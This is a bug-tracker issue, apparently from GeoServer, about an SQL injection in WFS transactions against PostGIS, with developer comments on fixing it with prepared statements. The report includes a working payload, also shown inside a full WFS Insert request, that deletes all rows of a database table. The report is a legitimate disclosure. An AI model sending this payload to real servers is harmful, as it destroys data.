Details

    • Type: Bug Bug
    • Status: Closed Closed
    • Priority: Critical Critical
    • Resolution: Fixed
    • Affects Version/s: None
    • Fix Version/s: 1.7.0-RC1
    • Component/s: WFS
    • Labels:
      None
    • Number of attachments :
      5

      Description

      we've tested the following sql-injection:

      <bemerkung>
      \',null,null,null,null,31467);delete from
      f_lw_digi_flaechen;--
      </bemerkung>

      This injection deletes all datasets in the table f_lw_digi_flaechen in our postgres database.
      (Geoserver-Version 1.3 RC2)

      The complete request:

      <wfs:Transaction version="1.0.0" service="WFS"
      xmlns="http://www.someserver.com/myns"
      xmlns:gml="http://www.opengis.net/gml"
      xmlns:ogc="http://www.opengis.net/ogc"
      xmlns:wfs="http://www.opengis.net/wfs"
      xmlns:alk="http://zdkwh.mlrbw.net:8080/geoserver/namespace/alk"
      xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
      xsi:schemaLocation="http://www.someserver.com/myns http://wms1.ccgis.de/geoserver-1.3-beta4/wfs/getCapabilities?request=describefeaturetype&amp;typename=mapbender_user http://www.opengis.net/wfs../wfs/1.0.0/WFS-transaction.xsd">

      <wfs:Insert>
      <alk:f_lw_digi_flaechen>
      <ud_id>0813</ud_id>
      <meldevertreter_id>0813</meldevertreter_id>
      <objekttyp_id>3</objekttyp_id>
      <objekttyp_name>Landw. Nutzfl.</objekttyp_name>
      <bemerkung>
      \',null,null,null,null,31467);delete from
      f_lw_digi_flaechen;--
      </bemerkung>
      <the_geom>
      <gml:MultiPolygon srsName="epsg:31467">
      <gml:polygonMember>
      <gml:Polygon>
      <gml:outerBoundaryIs>
      <gml:LinearRing>
      <gml:coordinates>
      3472900,5464590 3472930,5464420
      3472990,5464530 3472990,5464670
      3472900,5464590
      </gml:coordinates>
      </gml:LinearRing>
      </gml:outerBoundaryIs>
      </gml:Polygon>
      </gml:polygonMember>
      </gml:MultiPolygon>
      </the_geom>
      </alk:f_lw_digi_flaechen>
      </wfs:Insert>
      </wfs:Transaction>

      1. JDBCTextFeatureWriter.java
        16 kB
        Chris Holmes
      2. PostgisFeatureStore.java.diff
        10 kB
        Justin Deoliveira
      3. PostgisFeatureWriter.java
        3 kB
        Chris Holmes
      4. PostgisFeatureWriter.java.diff
        9 kB
        Justin Deoliveira

        Issue Links

          Activity

          Hide
          Andrea Aime added a comment -

          Gabriel, isn't this one fixed (for transactions, at least?)

          Show
          Andrea Aime added a comment - Gabriel, isn't this one fixed (for transactions, at least?)
          Hide
          Andrea Aime added a comment -

          Gabriel?

          Show
          Andrea Aime added a comment - Gabriel?
          Hide
          Gabriel Roldan added a comment -

          sorry for the late response.
          This issue is not fixed yet and afaik would require a wide change to fix.
          The thing is, when converting a Query to an SQL statement, the sql injection may be done both in the property value being updated as well as in the where clause (that is, the Filter representing the query predicate being encoded as the where clause)

          This means sql injection would also be possible through simple getFeatures(Query) (read only) operation, and thus the fix affects how the filters are encoded for jdbc. To do it properly, the filter to sql code should also use prepared statements, something that's not possible right now without a deep change

          Show
          Gabriel Roldan added a comment - sorry for the late response. This issue is not fixed yet and afaik would require a wide change to fix. The thing is, when converting a Query to an SQL statement, the sql injection may be done both in the property value being updated as well as in the where clause (that is, the Filter representing the query predicate being encoded as the where clause) This means sql injection would also be possible through simple getFeatures(Query) (read only) operation, and thus the fix affects how the filters are encoded for jdbc. To do it properly, the filter to sql code should also use prepared statements, something that's not possible right now without a deep change
          Hide
          Justin Deoliveira added a comment -

          So are the patches attatched to this issue still relevant?

          Show
          Justin Deoliveira added a comment - So are the patches attatched to this issue still relevant?
          Hide
          Gabriel Roldan added a comment -

          the issue as reported is fixed as per the resolution of GEOS-1878
          That is, injecting malicious sql statements through an attribute value in a PostGis transaction is handled by PosgisFeatureStore using prepared statements.

          Yet, GEOT-219 is still relevant, meaning that even though it is not possible to inject malicious code through an attribute value, it may still be possible to do so through the filter criteria, since the translation of filters into sql statements for normal queries do not use prepared statements yet.

          See comments in GEOT-219 for a proposed solution

          Show
          Gabriel Roldan added a comment - the issue as reported is fixed as per the resolution of GEOS-1878 That is, injecting malicious sql statements through an attribute value in a PostGis transaction is handled by PosgisFeatureStore using prepared statements. Yet, GEOT-219 is still relevant, meaning that even though it is not possible to inject malicious code through an attribute value, it may still be possible to do so through the filter criteria, since the translation of filters into sql statements for normal queries do not use prepared statements yet. See comments in GEOT-219 for a proposed solution

            People

            • Assignee:
              Gabriel Roldan
              Reporter:
              Uli Rothstein
            • Votes:
              0 Vote for this issue
              Watchers:
              0 Start watching this issue

              Dates

              • Created:
                Updated:
                Resolved: